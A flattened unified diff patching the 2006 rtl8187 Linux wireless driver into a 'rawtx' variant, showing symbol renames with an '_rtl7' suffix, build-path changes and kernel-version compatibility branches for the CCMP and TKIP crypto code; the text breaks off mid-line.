rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-15 00:49:48.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define 